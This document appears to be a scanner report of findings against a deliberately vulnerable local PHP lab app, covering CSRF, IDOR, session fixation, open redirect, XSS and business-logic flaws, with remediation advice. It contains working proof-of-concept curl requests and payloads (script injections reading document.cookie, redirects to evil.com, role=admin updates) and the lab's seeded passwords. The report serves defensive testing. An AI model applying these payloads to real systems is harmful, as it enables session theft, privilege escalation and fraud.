🎭 GGC-CSRF-38A 7.4 HIGH P1 Likely CSRF update_profile.php csrf-form: http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php 1/1 hits
Flow
A state-changing POST form has no per-session/per-request anti-CSRF token, so a cross-site page can forge the request as the victim (CWE-352). This is a distinct root cause from any mass-assignment on the same endpoint.
Impact
PRIV_ESC — Direct
CWE / CVSS
CWE-352 Cross-Site Request Forgery  ·  CVSS 7.4 High (Base 8.1 High)
A state-changing action lacks an anti-forgery token, so a malicious site can perform it as a logged-in victim.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:P/RC:R
ⓘ Base 8,1 → Effective 7,4 — probable (E:P/RC:R).
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1539 Steal Web Session Cookie
Credential Access
Certainty & preconditions
Likely  ·  Attacker privileges: None  ·  Victim state: Authenticated  ·  User interaction: Required
Exercised at: 🔓 Unauthenticated
Evidence trail (raw HTTP log)
req #161 evidence
Evidence strength
43%Low evidenceEvidence score 43/100
  • +18 Likely (weak signal only)
  • +20 Direct detection (csrf-missing-token)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php' --data 'display_name=Administrator&bio=Internal%20admin%20account&role=admin'
Evidence (live response):
[CSRF] The state-changing POST form at http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php carries NO anti-CSRF token (no csrf/_token/nonce field) and accepts the request without one. Fields: display_name, bio, role. A malicious page can auto-submit this form on a lo…
Remediation
Require an anti-CSRF token on state-changing requests and use SameSite cookies.
  • Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
  • Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
  • Never perform state changes via GET.
Refs: CWE-352 · OWASP: CSRF Prevention Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php
csrf-missing-token
200 0ms csrf-missing-token
💰 GGC-BIZLOGIC-B64 6.5 MEDIUM P2 Confirmed BUSINESS_LOGIC discount business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php 1/1 hits
Flow
A quantity/discount field reaches a price calculation with no server-side range check: a negative quantity or an over-100% discount yields an invalid (e.g. negative) total — business-logic / financial manipulation (CWE-840).
Impact
FINANCIAL_INTEGRITY — Direct
CWE / CVSS
CWE-840 Business Logic Error (missing invariant validation — negative quantity / out-of-range discount → invalid total)  ·  CVSS 6.5 Medium
The app enforces no business invariant on a client-supplied value (negative quantity, discount > 100%), so an attacker manipulates the price/total — financial fraud without any injection.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RC:C
Compliance Impact
A04:2021 – Insecure Design
PCI-DSS v4.0 Req 6.2.4 (business-logic)  ·  ISO/IEC 27001:2022 A.8.28 / A.8.27  ·  GDPR Art. 25 + Art. 32 (data protection by design)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence trail (raw HTTP log)
req #168 evidence
Evidence strength
75%Medium evidenceEvidence score 75/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (business-logic-invariant)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php' --data 'qty=1&discount=-1'
Evidence (live response):
[BUSINESS LOGIC] Field 'discount' accepted the out-of-range value '-1' — accepted out-of-range value '-1' into a price calculation with no validation error. A benign baseline request stays valid; this one breaks a price/total invariant. <!doctype html><html><head><meta charset="u…
Remediation
Enforce business invariants on the SERVER for every value that affects price, quantity or totals — never trust the client's numbers.
  • Validate ranges server-side before use: quantity >= 1, 0 <= discount <= 100, computed total >= 0 — reject (or clamp) anything outside and never proceed with an invalid value.
  • Recompute prices/totals from server-side catalogue data; treat client-submitted price/total/discount as untrusted input, not as the source of truth.
  • Use unsigned/whole-number types and explicit bounds for quantities; reject negatives and absurd magnitudes (integer-overflow / free-money bugs).
  • Add regression tests asserting the invariants (negative qty, discount > 100, total < 0 must all be rejected).
Refs: CWE-840 · CWE-20 · OWASP: Business Logic Vulnerability / Input Validation Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php
business-logic-invariant
200 0ms business-logic-invariant
💰 GGC-BIZLOGIC-0A0 6.5 MEDIUM P2 Confirmed BUSINESS_LOGIC qty business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php 1/1 hits
Flow
A quantity/discount field reaches a price calculation with no server-side range check: a negative quantity or an over-100% discount yields an invalid (e.g. negative) total — business-logic / financial manipulation (CWE-840).
Impact
FINANCIAL_INTEGRITY — Direct
CWE / CVSS
CWE-840 Business Logic Error (missing invariant validation — negative quantity / out-of-range discount → invalid total)  ·  CVSS 6.5 Medium
The app enforces no business invariant on a client-supplied value (negative quantity, discount > 100%), so an attacker manipulates the price/total — financial fraud without any injection.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RC:C
Compliance Impact
A04:2021 – Insecure Design
PCI-DSS v4.0 Req 6.2.4 (business-logic)  ·  ISO/IEC 27001:2022 A.8.28 / A.8.27  ·  GDPR Art. 25 + Art. 32 (data protection by design)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence trail (raw HTTP log)
req #167 evidence
Evidence strength
75%Medium evidenceEvidence score 75/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (business-logic-invariant)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php' --data 'qty=-1&discount=10'
Evidence (live response):
[BUSINESS LOGIC] Field 'qty' accepted the out-of-range value '-1' — accepted out-of-range value '-1' into a price calculation with no validation error. A benign baseline request stays valid; this one breaks a price/total invariant. <!doctype html><html><head><meta charset="utf-8"…
Remediation
Enforce business invariants on the SERVER for every value that affects price, quantity or totals — never trust the client's numbers.
  • Validate ranges server-side before use: quantity >= 1, 0 <= discount <= 100, computed total >= 0 — reject (or clamp) anything outside and never proceed with an invalid value.
  • Recompute prices/totals from server-side catalogue data; treat client-submitted price/total/discount as untrusted input, not as the source of truth.
  • Use unsigned/whole-number types and explicit bounds for quantities; reject negatives and absurd magnitudes (integer-overflow / free-money bugs).
  • Add regression tests asserting the invariants (negative qty, discount > 100, total < 0 must all be rejected).
Refs: CWE-840 · CWE-20 · OWASP: Business Logic Vulnerability / Input Validation Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php
business-logic-invariant
200 0ms business-logic-invariant
🔍 GGC-IDOR-7BD 6.5 MEDIUM P2 Confirmed IDOR id api.php 1/1 hits
Flow
api.php?action=user&id=X returns user data including role and api_key fields for any user ID without any authentication. This is unauthenticated user enumeration with sensitive field exposure.
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-639 Authorization Bypass Through User-Controlled Key (IDOR)  ·  CVSS 6.5 Medium
Object references aren't authorization-checked, so changing an id exposes or modifies other users' data (IDOR).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism
Defense Evasion, Privilege Escalation
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
99%High evidenceEvidence score 99/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (idor-enumeration)
  • +6 Expected indicator reflected
  • +5 Stable 2xx response
  • +18 Baseline-diff (matched control rejected)
Proof of Concept
Reproduce:
curl -i 'api.php?action=user&id=2'
Reflection @ offset 315 — via idor-enumeration:
…y_name": "Administrator", "role": "admin", "api_key": "GGSE***REDACTED(20)***" } }
Evidence (live response):
[IDOR param=id] id=1:200(obj); id=2:200(obj); id=3:200(obj); control=9999:200(rej) distinct records returned to one session: 3 sample: {     "ok": true,     "request_id_raw": "1",     "user": {         "id": 1,         "username": "admin",         "display_name": "Administrator",…
Remediation
Enforce per-object authorization on every request — verify the current user owns (or may access) the referenced object.
  • On every object access, check ownership/permission server-side: the session identity must be authorized for the requested id, never the id alone.
  • Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-supplied id.
  • Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated — defense in depth, not a substitute for authz.
  • Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-endpoint checks.
Refs: CWE-639 · CWE-284 · OWASP: Insecure Direct Object Reference Prevention Cheat Sheet · OWASP API1:2023 Broken Object Level Authorization
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET api.php?action=user&id=2
IDOR:param=id|ids=1,2,3|control=9999
200 4ms idor-enumeration
🔍 GGC-IDOR-D48 6.5 MEDIUM P2 Confirmed IDOR id profile.php 1/1 hits
Flow
profile.php fetches any user profile by id without authorization check beyond requiring login. Any authenticated user can view any other user's profile including sensitive fields (api_key is in an HTML comment). Seeded user IDs: 1=admin, 2=alice, 3=bob.
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-639 Authorization Bypass Through User-Controlled Key (IDOR)  ·  CVSS 6.5 Medium
Object references aren't authorization-checked, so changing an id exposes or modifies other users' data (IDOR).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism
Defense Evasion, Privilege Escalation
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
93%High evidenceEvidence score 93/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (idor-enumeration)
  • +5 Stable 2xx response
  • +18 Baseline-diff (matched control rejected)
Proof of Concept
Reproduce:
curl -i 'profile.php?id=2'
Evidence (live response):
[IDOR param=id] id=1:200(obj); id=2:200(obj); id=3:200(obj); control=9999:200(rej) distinct records returned to one session: 3 sample: <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Profile</title><style>…
Remediation
Enforce per-object authorization on every request — verify the current user owns (or may access) the referenced object.
  • On every object access, check ownership/permission server-side: the session identity must be authorized for the requested id, never the id alone.
  • Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-supplied id.
  • Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated — defense in depth, not a substitute for authz.
  • Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-endpoint checks.
Refs: CWE-639 · CWE-284 · OWASP: Insecure Direct Object Reference Prevention Cheat Sheet · OWASP API1:2023 Broken Object Level Authorization
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET profile.php?id=2
IDOR:param=id|ids=1,2,3|control=9999|login=/login.php
200 6ms idor-enumeration
🔍 GGC-IDOR-AC7 6.5 MEDIUM P2 Confirmed IDOR id notes.php 1/1 hits
Flow
notes.php fetches any note by id (via parameterized query) without checking that the note belongs to the logged-in user. A logged-in user can read private notes of other users by iterating note IDs. The seeded data includes private notes with tokens (e.g. note id=3 belongs to alice, note id=4 belongs to bob).
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-639 Authorization Bypass Through User-Controlled Key (IDOR)  ·  CVSS 6.5 Medium
Object references aren't authorization-checked, so changing an id exposes or modifies other users' data (IDOR).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism
Defense Evasion, Privilege Escalation
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
93%High evidenceEvidence score 93/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (idor-enumeration)
  • +5 Stable 2xx response
  • +18 Baseline-diff (matched control rejected)
Proof of Concept
Reproduce:
curl -i 'notes.php?id=3'
Evidence (live response):
[IDOR param=id] id=1:200(rej); id=3:200(obj); id=4:200(obj); control=9999:200(rej) distinct records returned to one session: 2 sample: <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Notes</title><style>…
Remediation
Enforce per-object authorization on every request — verify the current user owns (or may access) the referenced object.
  • On every object access, check ownership/permission server-side: the session identity must be authorized for the requested id, never the id alone.
  • Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-supplied id.
  • Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated — defense in depth, not a substitute for authz.
  • Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-endpoint checks.
Refs: CWE-639 · CWE-284 · OWASP: Insecure Direct Object Reference Prevention Cheat Sheet · OWASP API1:2023 Broken Object Level Authorization
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET notes.php?id=3
IDOR:param=id|ids=1,3,4|control=9999|login=/login.php
200 17ms idor-enumeration
🔍 GGC-SESSFIX-85F 6.4 MEDIUM P2 Confirmed SESSION_FIXATION PHPSESSID login.php 1/1 hits
Flow
login.php sets $_SESSION['uid'] on successful authentication but never calls session_regenerate_id(). An attacker who pre-sets the session ID (e.g. via a link with ?PHPSESSID= or a Set-Cookie) can hijack the session after the victim authenticates.
Attack Chain
1. Attacker obtains/sets a session ID. 2. Victim logs in using that session. 3. Attacker uses the same session ID to access the authenticated session.
Impact
SESSION_THEFT — Conditional
CWE / CVSS
CWE-384 Session Fixation  ·  CVSS 6.4 Medium (Base 6.8 Medium)
The session id is not regenerated on login, so an attacker who fixes a known id can hijack the authenticated session.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N/E:H/RC:C
ⓘ Base 6,8 → Effective 6,4 — auth-gated (PR:L).
Compliance Impact
A07:2021 – Identification and Authentication Failures
PCI-DSS v4.0 Req 8.3.1 / 8.6 / 3.6 (key mgmt)  ·  ISO/IEC 27001:2022 A.8.5 / A.5.17 / A.8.24  ·  GDPR Art. 32 (security of processing)
MITRE ATT&CK
T1539 Steal Web Session Cookie
Credential Access
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: Authenticated  ·  User interaction: Required
Exercised at: 👤 Customer
Evidence strength
70%Medium evidenceEvidence score 70/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (session-fixation)
Proof of Concept
Reproduce:
curl -i -X POST 'login.php' --data 'SESSIONFIX:PHPSESSID=ggsecfix8d409650e357'
Evidence (live response):
[SESSION FIXATION] planted PHPSESSID=ggse***REDACTED(21)*** authenticated as 'alice', and the SAME id is still an authenticated session (server did not regenerate it; Set-Cookie: none). An attacker who fixes a victim's session id keeps access after the victim logs in.
Remediation
Regenerate the session identifier on every privilege change (login), and harden the session cookie.
  • Call session_regenerate_id(true) / equivalent immediately after successful authentication.
  • Reject session IDs the server didn't issue; never accept a session id from the URL.
  • Set HttpOnly, Secure and SameSite on the session cookie; expire idle sessions.
Refs: CWE-384 · OWASP: Session Management Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET->POST->GET login.php
SESSIONFIX:PHPSESSID=ggsecfix8d409650e357
302 17ms session-fixation
GGC-REDIR-FD7 6.1 MEDIUM P2 Confirmed OPEN_REDIRECT next redirect.php 4/4 hits
Flow
$_GET['next'] is passed directly to header('Location: ' . $next) without any validation or whitelist check. An attacker can redirect users to arbitrary external URLs.
Impact
SESSION_THEFT — Direct
CWE / CVSS
CWE-601 Open Redirect  ·  CVSS 6.1 Medium
An unvalidated redirect target lets an attacker send victims to a malicious site under the app's trust.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:H/RC:C
Compliance Impact
A01:2021 – Broken Access Control
PCI-DSS v4.0 Req 6.2.4 / 7.2.1  ·  ISO/IEC 27001:2022 A.8.3 / A.5.15  ·  GDPR Art. 5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK
T1204 User Execution
Execution
Certainty & preconditions
Confirmed  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: Required
Exercised at: 🔓 Unauthenticated
Evidence strength
74%Medium evidenceEvidence score 74/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (redirect-header)
  • +4 Reproduced by 4 payload(s)
Proof of Concept
Reproduce:
curl -i 'redirect.php?next=https%3A%2F%2Fevil.com'
Evidence (live response):
(no response body captured)
Remediation
Validate redirect targets against an allowlist; never redirect to a raw user-supplied URL.
  • Allowlist permitted destinations or use server-side keys mapped to URLs.
  • Accept only relative paths; reject absolute URLs and protocol-relative (//) values.
Refs: CWE-601 · OWASP: Unvalidated Redirects and Forwards Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET redirect.php?next=%2F%5Cevil.com
/\evil.com
302 1ms redirect-header
⚠ VULN GET redirect.php?next=https%3A%2F%2Fevil.com
https://evil.com
302 3ms redirect-header
⚠ VULN GET redirect.php?next=https%3A%2F%2Fevil.com%2Fphish
https://evil.com/phish
302 3ms redirect-header
⚠ VULN GET redirect.php?next=%2F%2Fevil.com
//evil.com
302 3ms redirect-header
GGC-XSS-1B2 5.4 MEDIUM P2 Confirmed XSS bio profile.php 2/4 hits
Flow
In profile.php, the 'bio' field from the database is output without escaping: '<p>Bio: <?= $user["bio"] ?></p>'. An attacker stores malicious HTML/JS via update_profile.php (which uses a parameterized INSERT so the store is safe), and it renders unescaped on any profile view. This is stored XSS.
Attack Chain
1. POST to update_profile.php with bio=<script>alert(1)</script> (requires login). 2. Any user viewing profile.php?id=<victim_id> triggers the stored XSS.
Impact
SESSION_THEFT — Chained
CWE / CVSS
CWE-79 Cross-site Scripting  ·  CVSS 5.4 Medium (Base 6.1 Medium)
Untrusted input is reflected into a page without encoding, so attacker script runs in the victim's browser (session theft).
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:H/RC:C
ⓘ Base 6,1 → Effective 5,4 — auth-gated (PR:L).
Compliance Impact
A03:2021 – Injection
PCI-DSS v4.0 Req 6.2.4 (injection/XSS)  ·  ISO/IEC 27001:2022 A.8.28  ·  GDPR Art. 32 (security of processing)
MITRE ATT&CK
T1059.007 Command and Scripting Interpreter: JavaScript · T1185 Browser Session Hijacking
Execution, Collection
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: Authenticated  ·  User interaction: Required
Exercised at: 👤 Customer
Evidence trail (raw HTTP log)
req #42 evidence · #46 read-back
Evidence strength
83%Medium evidenceEvidence score 83/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (stored-xss-post)
  • +6 Expected indicator reflected
  • +2 Reproduced by 2 payload(s)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
[store] POST update_profile.php --data 'display_name=Alice&bio=><script>alert(1)</script>&role=user'   →   [render] GET profile.php
Reflection @ offset 954 — reflected UNENCODED (executes):
…</p> <!-- INTENTIONALLY VULNERABLE: stored XSS --> <p>Bio: ><script>alert(1)</script></p> <p><a href="update_profile.php">Edit my profile</a></p…
Evidence (live response):
…Display name: Alice</p>  <!-- INTENTIONALLY VULNERABLE: stored XSS --> <p>Bio: ><script>alert(1)</script></p>  <p><a href="update_profile.php">Edit my profile</a></p>  <!-- INTENTIONALLY VULNERABLE: sensitive field exposed in HTML comment --> <!-- api_key=GGSE***REDACTED(20)*** -…
Remediation
Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.
  • Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
  • Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
  • Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.
Refs: CWE-79 · OWASP: XSS Prevention Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN POST+GET (stored) profile.php
><script>alert(1)</script>
200 813ms stored-xss-post
⚠ VULN POST+GET (stored) profile.php
<script>alert(1)</script>
200 825ms stored-xss-post
✓ OK POST+GET (stored) profile.php
<img src=x onerror=alert(1)>
200 825ms
✓ OK POST+GET (stored) profile.php
<svg/onload=alert(1)>
200 825ms
GGC-XSS-CE8 5.4 MEDIUM P2 Confirmed XSS q search.php 4/4 hits
Flow
When mode=raw, $_GET['q'] is echoed directly without htmlspecialchars: '<?= $q ?>'. This is a reflected XSS vulnerability.
Impact
SESSION_THEFT — Direct
CWE / CVSS
CWE-79 Cross-site Scripting  ·  CVSS 5.4 Medium (Base 6.1 Medium)
Untrusted input is reflected into a page without encoding, so attacker script runs in the victim's browser (session theft).
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:H/RC:C
ⓘ Base 6,1 → Effective 5,4 — auth-gated (PR:L).
Compliance Impact
A03:2021 – Injection
PCI-DSS v4.0 Req 6.2.4 (injection/XSS)  ·  ISO/IEC 27001:2022 A.8.28  ·  GDPR Art. 32 (security of processing)
MITRE ATT&CK
T1059.007 Command and Scripting Interpreter: JavaScript · T1185 Browser Session Hijacking
Execution, Collection
Certainty & preconditions
Confirmed  ·  Attacker privileges: User  ·  Victim state: Authenticated  ·  User interaction: Required
Exercised at: 👤 Customer
Evidence strength
85%High evidenceEvidence score 85/100
  • +50 Confirmed (strong signal)
  • +20 Direct detection (indicator)
  • +6 Expected indicator reflected
  • +4 Reproduced by 4 payload(s)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i 'search.php?mode=raw&q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'
Reflection @ offset 1203 — reflected UNENCODED (executes):
…LNERABLE: reflected XSS in raw mode --> <p>Results for: <script>alert('XSS')</script></p> <div class="box"><strong>SQL error:</strong> SQLSTATE[…
Evidence (live response):
…<p>Results for:     <script>alert('XSS')</script></p>  <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 near &quot;XSS&quot;: syntax error</div>   <hr><small>GGSEC Cortex Debugger Lab — localhost only</small></body></html>
Remediation
Apply context-aware output encoding on every place user data reaches HTML/JS, and add a CSP.
  • Encode on output by context: HTML body (htmlspecialchars/escapeHTML), attributes, JS, URL.
  • Prefer auto-escaping template engines; avoid raw echo/print of tainted data.
  • Deploy a strict Content-Security-Policy and set HttpOnly on session cookies.
Refs: CWE-79 · OWASP: XSS Prevention Cheat Sheet
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET search.php?mode=raw&q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
<script>alert('XSS')</script>
200 1ms indicator SQLite
⚠ VULN GET search.php?mode=raw&q=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%…
<img src=x onerror=alert('XSS')>
200 2ms default-indicator SQLite
⚠ VULN GET search.php?mode=raw&q=%22%3E%3Csvg%2Fonload%3Dalert%28%27XSS%27%29%3E
"><svg/onload=alert('XSS')>
200 2ms default-indicator SQLite
⚠ VULN GET search.php?mode=raw&q=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript…
<script>alert(document.cookie)</script>
200 3ms indicator
🔄 GGC-HPP-C34 3.4 LOW P3 Likely HTTP_PARAMETER_POLLUTION id hpp: api.php?action=user&id=PAYLOAD 1/1 hits
Flow
The endpoint mishandles duplicate or array-typed parameters (id=1&id=2 last-wins, or id[]=1 coerced by PHP) — an attacker can confuse which value/type is used to bypass filters or reach unintended records (CWE-235).
Impact
INFORMATION_DISCLOSURE — Direct
CWE / CVSS
CWE-235 Improper Handling of Extra / Duplicate Parameters (HPP / parameter type confusion — id[]=… or id=1&id=2; parser behaviour, no proven control bypass)  ·  CVSS 3.4 Low (Base 3.7 Low)
The app mishandles duplicate or array-typed parameters (id=1&id=2, id[]=1): PHP coerces or last-wins the value, so an attacker confuses which value/type is used to bypass filters or reach unintended records.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RC:R
ⓘ Base 3,7 → Effective 3,4 — probable (E:P/RC:R).
Compliance Impact
A04:2021 – Insecure Design
PCI-DSS v4.0 Req 6.2.4 (business-logic)  ·  ISO/IEC 27001:2022 A.8.28 / A.8.27  ·  GDPR Art. 25 + Art. 32 (data protection by design)
MITRE ATT&CK
T1190 Exploit Public-Facing Application
Initial Access
Certainty & preconditions
Likely  ·  Attacker privileges: None  ·  Victim state: None  ·  User interaction: None
Exercised at: 🔓 Unauthenticated
Evidence strength
43%Low evidenceEvidence score 43/100
  • +18 Likely (weak signal only)
  • +20 Direct detection (hpp-typeconfusion)
  • +5 Stable 2xx response
Proof of Concept
Reproduce:
curl -i 'api.php?action=user&id=1&id=2'
Evidence (live response):
[HPP] Parameter 'id' @ api.php: array/type confusion (id[]=1 coerced by PHP) AND duplicate-parameter last-wins (id=1&id=2 → second record). Clean id=1 and id=2 return different records; the malformed request changed which value/type the app used. {     "ok": true,     "request_id…
Remediation
Accept exactly one value of the expected TYPE for each parameter — reject duplicates and array/object forms.
  • Read parameters through a strict accessor that returns a single scalar and rejects (or 400s) duplicate keys and array syntax (id[]=…, id[x]=…).
  • Validate the TYPE before use: cast/parse to the expected type and reject anything that isn't a plain integer/string (never let PHP coerce an array to a scalar).
  • Normalise at the edge (web server / framework middleware) so the backend sees one canonical value per parameter.
  • Add tests for id=1&id=2 and id[]=1 asserting a consistent, safe result (single value, or explicit rejection).
Refs: CWE-235 · CWE-843 · OWASP: Testing for HTTP Parameter Pollution
ResultMethodURLPayloadStatusTimeDetectionDB
⚠ VULN GET api.php?action=user&id=1&id=2
hpp-typeconfusion
200 0ms hpp-typeconfusion

Coverage — tested, no finding (informational; not scored, not counted)

SinkParameterLocationResultRequests
CRLF_INJECTIONnextredirect.phpNot Applicable1

Static-Only Findings (SAST — no runtime probe applies; verify manually)

🔍 GGC-SECRET-DE9 5.3 MEDIUM Potential (SAST — verify) HARDCODED_SECRET db_seed_password bootstrap.php
Flow
Hard-coded credentials in source: bootstrap.php seeds plaintext user passwords (admin/Admin123!, alice/alice123) directly in code. Anyone with read access to the repository obtains the credentials. Move secrets to environment variables or a secret store and rotate.
Impact
INFORMATION_DISCLOSURE — static/source finding, no live proof
CWE / CVSS
CWE-798 Use of Hard-coded Credentials  ·  CVSS 5.3 Medium
A credential (API key, password, token, private key) is hard-coded in source — anyone with repo access gets it; it must be moved to a secret store and rotated.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:H/RC:C
Compliance Impact
A07:2021 – Identification and Authentication Failures
PCI-DSS v4.0 Req 8.3.1 / 8.6 / 3.6 (key mgmt)  ·  ISO/IEC 27001:2022 A.8.5 / A.5.17 / A.8.24  ·  GDPR Art. 32 (security of processing)
Certainty / Access
Potential (SAST) — requires manual verification  ·  source finding
Remediation
Remove the secret from source, load it from an environment variable / secret manager, and ROTATE it — it must be treated as compromised.
  • Rotate/revoke the exposed credential NOW — it is in version control history and must be assumed leaked.
  • Read it at runtime from an env var or a secret manager (Vault/AWS Secrets Manager/Azure Key Vault); never commit it.
  • Purge it from git history (git filter-repo / BFG) and add a pre-commit secret scanner (e.g. this scan) to CI.
Refs: CWE-798 · OWASP: Secrets Management Cheat Sheet
🔑 GGC-PLAINPW-B67 4.4 MEDIUM Potential (SAST — verify) PLAINTEXT_PASSWORD_STORAGE password login.php:12
Flow
The application stores or compares user passwords in PLAINTEXT at login.php:12: the password value is persisted or matched directly (e.g. WHERE password = '$password') without a one-way password hash such as password_hash()/password_verify(). Anyone who reads the users table obtains every usable credential. Static/source finding (no safe runtime proof) — verify.
Impact
CREDENTIAL_COMPROMISE — static/source finding, no live proof
CWE / CVSS
CWE-256 Plaintext Storage of a Password (credentials stored/compared unhashed)  ·  CVSS 4.4 Medium
User passwords are stored (or compared) in plaintext rather than a salted one-way hash, so anyone who reads the DB (e.g. via SQLi) gets every usable credential.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C
Compliance Impact
A02:2021 – Cryptographic Failures
PCI-DSS v4.0 Req 4.2.1 / 6.2.4 / 8.3.1  ·  ISO/IEC 27001:2022 A.8.24  ·  GDPR Art. 32(1)(a) (encryption)
Certainty / Access
Potential (SAST) — requires manual verification  ·  source finding
